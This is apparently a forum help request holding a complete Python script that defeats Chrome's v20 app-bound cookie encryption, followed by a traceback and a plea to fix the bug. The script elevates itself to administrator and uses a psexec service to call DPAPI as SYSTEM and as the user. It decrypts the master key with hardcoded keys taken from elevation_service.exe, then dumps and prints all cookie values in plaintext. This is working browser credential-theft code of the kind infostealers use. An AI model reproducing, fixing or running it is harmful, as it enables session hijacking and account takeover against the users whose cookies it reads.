[Python] I tried to decryption v20 Chrome and Coc Coc browser cookies but got an error, please...

*from https://github.com/runassu/chrome_v20_decryption/blob/main/decrypt_chrome_v20_cookie.py

import ctypes
import sys

def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin() != 0
except:
return False

if is_admin():
pass
else:
input("This script needs to run as administrator, press Enter to continue")
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join([sys.argv[0]] + sys.argv[1:]), None, 1)
exit()

import os
import json
import binascii
from pypsexec.client import Client
from Crypto.Cipher import AES, ChaCha20_Poly1305
import sqlite3
import pathlib

user_profile = os.environ['USERPROFILE']
local_state_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Local State"
cookie_db_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies"

with open(local_state_path, "r", encoding="utf-8") as f:
local_state = json.load(f)

app_bound_encrypted_key = local_state["os_crypt"]["app_bound_encrypted_key"]

arguments = "-c \"" + """import win32crypt
import binascii
encrypted_key = win32crypt.CryptUnprotectData(binascii.a2b_base64('{}'), None, None, None, 0)
print(binascii.b2a_base64(encrypted_key[1]).decode())
""".replace("\n", ";") + "\""

c = Client("localhost")
c.connect()

try:
c.create_service()

assert(binascii.a2b_base64(app_bound_encrypted_key)[:4] == b"APPB")
app_bound_encrypted_key_b64 = binascii.b2a_base64(
binascii.a2b_base64(app_bound_encrypted_key)[4:]).decode().strip()

# decrypt with SYSTEM DPAPI
encrypted_key_b64, stderr, rc = c.run_executable(
sys.executable,
arguments=arguments.format(app_bound_encrypted_key_b64),
use_system_account=True
)

# decrypt with user DPAPI
decrypted_key_b64, stderr, rc = c.run_executable(
sys.executable,
arguments=arguments.format(encrypted_key_b64.decode().strip()),
use_system_account=False
)

decrypted_key = binascii.a2b_base64(decrypted_key_b64)[-61:]

finally:
c.remove_service()
c.disconnect()

# decrypt key with AES256GCM or ChaCha20Poly1305
# key from elevation_service.exe
aes_key = bytes.fromhex("B31C6E241AC846728DA9C1FAC4936651CFFB944D143AB816276BCC6DA0284787")
chacha20_key = bytes.fromhex("E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660")

# [flag|iv|ciphertext|tag] decrypted_key
# [1byte|12bytes|variable|16bytes]
flag = decrypted_key[0]
iv = decrypted_key[1:1+12]
ciphertext = decrypted_key[1+12:1+12+32]
tag = decrypted_key[1+12+32:]

if flag == 1:
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
elif flag == 2:
cipher = ChaCha20_Poly1305.new(key=chacha20_key, nonce=iv)
else:
raise ValueError(f"Unsupported flag: {flag}")

key = cipher.decrypt_and_verify(ciphertext, tag)
print(binascii.b2a_base64(key))

# fetch all v20 cookies
con = sqlite3.connect(pathlib.Path(cookie_db_path).as_uri() + "?mode=ro", uri=True)
cur = con.cursor()
r = cur.execute("SELECT host_key, name, CAST(encrypted_value AS BLOB) from cookies;")
cookies = cur.fetchall()
cookies_v20 = [c for c in cookies if c[2][:3] == b"v20"]
con.close()

# decrypt v20 cookie with AES256GCM
# [flag|iv|ciphertext|tag] encrypted_value
# [3bytes|12bytes|variable|16bytes]
def decrypt_cookie_v20(encrypted_value):
cookie_iv = encrypted_value[3:3+12]
encrypted_cookie = encrypted_value[3+12:-16]
cookie_tag = encrypted_value[-16:]
cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv)
decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag)
return decrypted_cookie[32:].decode('utf-8')

for c in cookies_v20:
print(c[0], c[1], decrypt_cookie_v20(c[2]))

input()


Error

`Traceback (most recent call last): File "F:\Project029\chrome_v20_cookies.py", line 58, in decrypted_key_b64, stderr, rc = c.run_executable( ~~~~~~~~~~~~~~~~^ sys.executable, ^^^^^^^^^^^^^^^ arguments=arguments.format(encrypted_key_b64.decode().strip()), ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ use_system_account=False ^^^^^^^^^^^^^^^^^^^^^^^^ ) ^ File "F:\Python\Python\Python313\Lib\site-packages\pypsexec\client.py", line 373, in run_executable settings_resp_raw = main_pipe.read(0, 1024) File "F:\Python\Python\Python313\Lib\site-packages\smbprotocol\open.py", line 1256, in read return self._read_response(request, wait) ~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^ File "F:\Python\Python\Python313\Lib\site-packages\smbprotocol\open.py", line 1264, in _read_response response = self.connection.receive(request, wait=wait) File "F:\Python\Python\Python313\Lib\site-packages\smbprotocol\connection.py", line 1103, in receive raise SMBResponseException(response) smbprotocol.exceptions.PipeBroken: Received unexpected status from the server: The pipe operation has failed because the other end of the pipe has been closed. (3221225803) STATUS_PIPE_BROKEN: 0xc000014b

During handling of the above exception, another exception occurred:

Traceback (most recent call last): File "F:\Project029\chrome_v20_cookies.py", line 67, in c.remove_service() ~~~~~~~~~~~~~~~~^^ File "F:\Python\Python\Python313\Lib\site-packages\pypsexec\client.py", line 163, in remove_service self._delete_file(smb_tree, self._exe_file) ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^ File "F:\Python\Python\Python313\Lib\site-packages\pypsexec\client.py", line 499, in _delete_file msgs[0]1 ~~~~~~~~~~^^^^^^^^^ File "F:\Python\Python\Python313\Lib\site-packages\smbprotocol\open.py", line 1168, in _create_response response = self.connection.receive(request) File "F:\Python\Python\Python313\Lib\site-packages\smbprotocol\connection.py", line 1103, in receive raise SMBResponseException(response) smbprotocol.exceptions.CannotDelete: Received unexpected status from the server: An attempt has been made to remove a file or directory that cannot be deleted. (3221225761) STATUS_CANNOT_DELETE: 0xc0000121 `

i need fix that bug

Continue reading...